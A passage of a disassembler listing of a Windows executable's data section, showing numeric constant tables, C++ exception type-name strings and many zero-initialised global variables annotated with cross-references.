		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D808	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D810	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C69h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E54o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438140o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438BACo
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A18o
		dd 5852h dup(0)
dword_4CB390	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB39C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB41C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB45C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4EC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4F0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB508	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB50C	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB570	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB580	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB5AC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB624	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB630	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB710	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB784	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
		dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7C8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD960	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA70	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDC08	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD18	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDDAC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE034	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE164	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE384	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE390	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE394	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE39C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE3A8	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7E8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF27C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D327C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32C0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34C0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CC0	dd 124h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44D0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46E0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
dword_4D48F8	dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
dword_4DAE0C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB010	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
dword_4DB06C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
dword_4DB270	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
dword_4DB2CC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
